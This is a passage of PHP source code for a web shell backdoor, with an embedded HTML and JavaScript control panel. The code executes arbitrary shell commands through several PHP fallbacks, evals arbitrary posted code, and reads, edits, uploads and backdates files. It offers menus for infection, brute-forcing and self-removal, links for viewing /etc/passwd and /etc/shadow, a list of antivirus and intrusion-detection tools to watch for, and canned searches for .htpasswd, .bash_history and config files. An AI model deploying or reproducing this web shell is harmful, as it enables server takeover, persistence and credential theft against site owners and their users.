monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#060a10;}\r\n\t.main tr:hover{background-color:#354252;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\r\n\tinput[type=\'button\']{background-color:#2E6E9C;}\r\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\r\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n var c_ = \'".htmlspecialchars($GLOBALS[\'cwd\'])."\';\r\n var a_ = \'".htmlspecialchars(@$_POST[\'a\'])."\'\r\n var charset_ = \'".htmlspecialchars(@$_POST[\'charset\'])."\';\r\n var p1_ = \'".((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES))."\';\r\n var p2_ = \'".((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES))."\';\r\n var p3_ = \'".((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES))."\';\r\n var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){ return str; }\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'".addslashes($_SERVER[\'REQUEST_URI\'])."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n if (req) {\r\n req.onreadystatechange = processReqChange;\r\n req.open(\'POST\', url, true);\r\n req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n req.send(params);\r\n }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";$freeSpace=@diskfreespace($GLOBALS[\'cwd\']);$totalSpace=@disk_total_space($GLOBALS[\'cwd\']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname(\'r\');$kernel=@php_uname(\'s\');$explink=\'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';if(strpos(\'Linux\',$kernel)!==false)$explink.=urlencode(\'Linux Kernel \'.substr($release,0,6));else $explink.=urlencode($kernel.\' \'.substr($release,0,3));if(!function_exists(\'posix_getegid\')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(@posix_geteuid());$gid=@posix_getgrgid(@posix_getegid());$user=$uid[\'name\'];$uid=$uid[\'uid\'];$group=$gid[\'name\'];$gid=$gid[\'gid\'];}$cwd_links=\'\';$path=explode("/",$GLOBALS[\'cwd\']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links.="<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";for($j=0;$j<=$i;$j++)$cwd_links.=$path[$j].\'/\';$cwd_links.="\\")\'>".$path[$i]."/</a>";}$charsets=array(\'UTF-8\',\'Windows-1251\',\'KOI8-R\',\'KOI8-U\',\'cp866\');$opt_charsets=\'\';foreach($charsets as$▟)$opt_charsets.=\'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';$m=array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');if(!empty($GLOBALS[\'▛\']))$m[\'Logout\']=\'Logout\';$m[\'Self remove\']=\'SelfRemove\';$menu=\'\';foreach($m as$k=>$v)$menu.=\'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';$drives="";if($GLOBALS[\'os\']==\'win\'){foreach(range(\'c\',\'z\') as$drive)if(is_dir($drive.\':\\\\\'))$drives.=\'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';}echo\'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\']==\'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\'<td><nobr>\'.substr(@php_uname(),0,120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';}function hardFooter(){$is_writable=is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";echo"\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesMan\')?"g(null,this.c.value,\'\');":\'\')."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')?"g(\'FilesTools\',null,this.f.value);":\'\')."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesMan\')?"g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\')."return false;\\"><span>Make dir:</span>".$is_writable."<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')?"g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\')."return false;\\"><span>Make file:</span>".$is_writable."<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionConsole\')?"g(\'Console\',null,this.c.value);":\'\')."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".((!function_exists(\'actionFilesMan\'))?" onsubmit=\\"return false;\\" ":\'\')."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'".(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t\t<span>Upload file:</span>".$is_writable."<br><input class=\'toolsInp\' type=file name=f[] multiple><input type=submit value=\'submit\'></form><br ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n\t</body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getpwuid\')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS[\'disable_functions\'],\'posix_getgrgid\')===false)){function posix_getgrgid($p){return false;}}function ex($in){$▖=\'\';if(function_exists(\'exec\')){@exec($in,$▖);$▖=@join("\\n",$▖);}elseif(function_exists(\'passthru\')){ob_start();@passthru($in);$▖=ob_get_clean();}elseif(function_exists(\'system\')){ob_start();@system($in);$▖=ob_get_clean();}elseif(function_exists(\'shell_exec\')){$▖=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$▖="";while(!@feof($f))$▖.=fread($f,1024);pclose($f);}else return"↳ Unable to execute command\\n";return($▖==\'\'?"↳ Query did not return anything\\n":$▖);}function viewSize($s){if($s>=1073741824)return sprintf(\'%1.2f\',$s/1073741824).\' GB\';elseif($s>=1048576)return sprintf(\'%1.2f\',$s/1048576).\' MB\';elseif($s>=1024)return sprintf(\'%1.2f\',$s/1024).\' KB\';else return$s.\' B\';}function perms($p){if(($p&0xC000)==0xC000)$i=\'s\';elseif(($p&0xA000)==0xA000)$i=\'l\';elseif(($p&0x8000)==0x8000)$i=\'-\';elseif(($p&0x6000)==0x6000)$i=\'b\';elseif(($p&0x4000)==0x4000)$i=\'d\';elseif(($p&0x2000)==0x2000)$i=\'c\';elseif(($p&0x1000)==0x1000)$i=\'p\';else $i=\'u\';$i.=(($p&0x0100)?\'r\':\'-\');$i.=(($p&0x0080)?\'w\':\'-\');$i.=(($p&0x0040)?(($p&0x0800)?\'s\':\'x\'):(($p&0x0800)?\'S\':\'-\'));$i.=(($p&0x0020)?\'r\':\'-\');$i.=(($p&0x0010)?\'w\':\'-\');$i.=(($p&0x0008)?(($p&0x0400)?\'s\':\'x\'):(($p&0x0400)?\'S\':\'-\'));$i.=(($p&0x0004)?\'r\':\'-\');$i.=(($p&0x0002)?\'w\':\'-\');$i.=(($p&0x0001)?(($p&0x0200)?\'t\':\'x\'):(($p&0x0200)?\'T\':\'-\'));return$i;}function viewPermsColor($f){if(!@is_readable($f))return\'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';elseif(!@is_writable($f))return\'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';else return\'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';}function hardScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return$files;}}function which($p){$path=ex(\'which \'.$p);if(!empty($path))return$path;return false;}function actionRC(){if(!@$_POST[\'p1\']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"VERSION"=>VERSION,"safemode"=>@ini_get(\'safe_mode\'));echo serialize($a);}else{eval($_POST[\'p1\']);}}function prototype($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}function actionSecInfo(){hardHeader();echo\'<h1>Server security information</h1><div class=content>\';function showSecParam($n,$v){$v=trim($v);if($v){echo\'<span>\'.$n.\': </span>\';if(strpos($v,"\\n")===false)echo$v.\'<br>\';else echo\'<pre class=ml1>\'.$v.\'</pre>\';}}showSecParam(\'Server software\',@getenv(\'SERVER_SOFTWARE\'));if(function_exists(\'apache_get_modules\'))showSecParam(\'Loaded Apache modules\',implode(\', \',apache_get_modules()));showSecParam(\'Disabled PHP Functions\',$GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');showSecParam(\'Open base dir\',@ini_get(\'open_basedir\'));showSecParam(\'Safe mode exec dir\',@ini_get(\'safe_mode_exec_dir\'));showSecParam(\'Safe mode include dir\',@ini_get(\'safe_mode_include_dir\'));showSecParam(\'cURL support\',function_exists(\'curl_version\')?\'enabled\':\'no\');$temp=array();if(function_exists(\'mysql_get_client_info\'))$temp[]="MySql (".mysql_get_client_info().")";if(function_exists(\'mssql_connect\'))$temp[]="MSSQL";if(function_exists(\'pg_connect\'))$temp[]="PostgreSQL";if(function_exists(\'oci_connect\'))$temp[]="Oracle";showSecParam(\'Supported databases\',implode(\', \',$temp));echo\'<br>\';if($GLOBALS[\'os\']==\'nix\'){showSecParam(\'Readable /etc/passwd\',@is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');showSecParam(\'Readable /etc/shadow\',@is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');showSecParam(\'OS version\',@file_get_contents(\'/proc/version\'));showSecParam(\'Distr name\',@file_get_contents(\'/etc/issue.net\'));if(!$GLOBALS[\'safe_mode\']){$userful=array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');$danger=array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');$downloaders=array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');echo\'<br>\';$temp=array();foreach($userful as$▟)if(which($▟))$temp[]=$▟;showSecParam(\'Userful\',implode(\', \',$temp));$temp=array();foreach($danger as$▟)if(which($▟))$temp[]=$▟;showSecParam(\'Danger\',implode(\', \',$temp));$temp=array();foreach($downloaders as$▟)if(which($▟))$temp[]=$▟;showSecParam(\'Downloaders\',implode(\', \',$temp));echo\'<br/>\';showSecParam(\'HDD space\',ex(\'df -h\'));showSecParam(\'Hosts\',@file_get_contents(\'/etc/hosts\'));showSecParam(\'Mount options\',@file_get_contents(\'/etc/fstab\'));}}else{showSecParam(\'OS Version\',ex(\'ver\'));showSecParam(\'Account Settings\',iconv(\'CP866\',\'UTF-8\',ex(\'net accounts\')));showSecParam(\'User Accounts\',iconv(\'CP866\',\'UTF-8\',ex(\'net user\')));}echo\'</div>\';hardFooter();}function actionFilesTools(){if(isset($_POST[\'p1\']))$_POST[\'p1\']=urldecode($_POST[\'p1\']);if(@$_POST[\'p2\']==\'download\'){if(@is_file($_POST[\'p1\'])&&@is_readable($_POST[\'p1\'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST[\'p1\']);header("Content-Type: ".$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST[\'p1\'],"r");if($fp){while(!@feof($fp))echo @fread($fp,1024);fclose($fp);}}exit;}if(@$_POST[\'p2\']==\'mkfile\'){if(!file_exists($_POST[\'p1\'])){$fp=@fopen($_POST[\'p1\'],\'w\');if($fp){$_POST[\'p2\']="edit";fclose($fp);}}}hardHeader();echo\'<h1>File tools</h1><div class=content>\';if(!file_exists(@$_POST[\'p1\'])){echo\'File not exists\';hardFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST[\'p1\']));if(!$uid){$uid[\'name\']=@fileowner($_POST[\'p1\']);$gid[\'name\']=@filegroup($_POST[\'p1\']);}else $gid=@posix_getgrgid(@filegroup($_POST[\'p1\']));echo\'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';echo\'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';if(empty($_POST[\'p2\']))$_POST[\'p2\']=\'view\';if(is_file($_POST[\'p1\']))$m=array(\'View\',\'Highlight\',\'Download\',\'Hexdump\',\'Edit\',\'Chmod\',\'Rename\',\'Touch\',\'Frame\');else $m=array(\'Chmod\',\'Rename\',\'Touch\');foreach($m as$v)echo\'<a href=# onclick="g(null,null,\\\'\'.urlencode($_POST[\'p1\']).\'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';echo\'<br><br>\';switch($_POST[\'p2\']){case \'view\':echo\'<pre class=ml1>\';$fp=@fopen($_POST[\'p1\'],\'r\');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo\'</pre>\';break;case \'highlight\':if(@is_readable($_POST[\'p1\'])){echo\'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';$oRb=@highlight_file($_POST[\'p1\'],true);echo str_replace(array(\'<span \',\'</span>\'),array(\'<font \',\'</font>\'),$oRb).\'</div>\';}break;case \'chmod\':if(!empty($_POST[\'p3\'])){$perms=0;for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)$perms+=(int)$_POST[\'p3\'][$i]*pow(8,(strlen($_POST[\'p3\'])-$i-1));if(!@chmod($_POST[\'p1\'],$perms))echo\'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';}clearstatcache();echo\'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\'.urlencode($_POST[\'p1\']).\'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\',fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';break;case \'edit\':if(!is_writable($_POST[\'p1\'])){echo\'File isn\\\'t writeable\';break;}if(!empty($_POST[\'p3\'])){$time=@filemtime($_POST[\'p1\']);$_POST[\'p3\']=substr($_POST[\'p3\'],1);$fp=@fopen($_POST[\'p1\'],"w");if($fp){@fwrite($fp,$_POST[\'p3\']);@fclose($fp);echo\'Saved!<br><script>p3_="";</script>\';@touch($_POST[\'p1\'],$time,$time);}}echo\'<form onsubmit="g(null,null,\\\'\'.urlencode($_POST[\'p1\']).\'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';$fp=@fopen($_POST[\'p1\'],\'r\');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo\'</textarea><input type=submit value="submit"></form>\';break;case \'hexdump\':$c=@file_get_contents($_POST[\'p1\']);$n=0;$h=array(\'00000000<br>\',\'\',\'\');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].=sprintf(\'%02X\',ord($c[$i])).\' \';switch(ord($c[$i])){case 0:$h[2].=\' \';break;case 9:$h[2].=\' \';break;case 10:$h[2].=\' \';break;case 13:$h[2].=\' \';break;default:$h[2].=$c[$i];break;}$n++;if($n==32){$n=0;if($i+1<$len){$h[0].=sprintf(\'%08X\',$i+1).\'<br>\';}$h[1].=\'<br>\';$h[2].="\\n";}}echo\'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';break;case \'rename\':if(!empty($_POST[\'p3\'])){if(!@rename($_POST[\'p1\'],$_POST[\'p3\']))echo\'Can\\\'t rename!<br>\';else die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');}echo\'<form onsubmit="g(null,null,\\\'\'.urlencode($_POST[\'p1\']).\'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';break;case \'touch\':if(!empty($_POST[\'p3\'])){$time=strtotime($_POST[\'p3\']);if($time){if(!touch($_POST[\'p1\'],$time,$time))echo\'Fail!\';else echo\'Touched!\';}else echo\'Bad time format!\';}clearstatcache();echo\'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\'.urlencode($_POST[\'p1\']).\'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s",@filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';break;case \'frame\':$frameSrc=substr(htmlspecialchars($GLOBALS[\'cwd\']),strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));if($frameSrc[0]!=\'/\')$frameSrc=\'/\'.$frameSrc;if($frameSrc[strlen($frameSrc)-1]!=\'/\')$frameSrc=$frameSrc.\'/\';$frameSrc=$frameSrc.htmlspecialchars($_POST[\'p1\']);echo\'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';break;}echo\'</div>\';hardFooter();}if($os==\'win\')$aliases=array("List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");else $aliases=array("List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","Find"=>"","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \\"config*\\"","find config* files in current dir"=>"find . -type f -name \\"config*\\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files "=>"locate config","locate .conf files"=>"locate \'.conf\'","locate .pwd files"=>"locate \'.pwd\'","locate .sql files"=>"locate \'.sql\'","locate .htpasswd files"=>"locate \'.htpasswd\'","locate .bash_history files"=>"locate 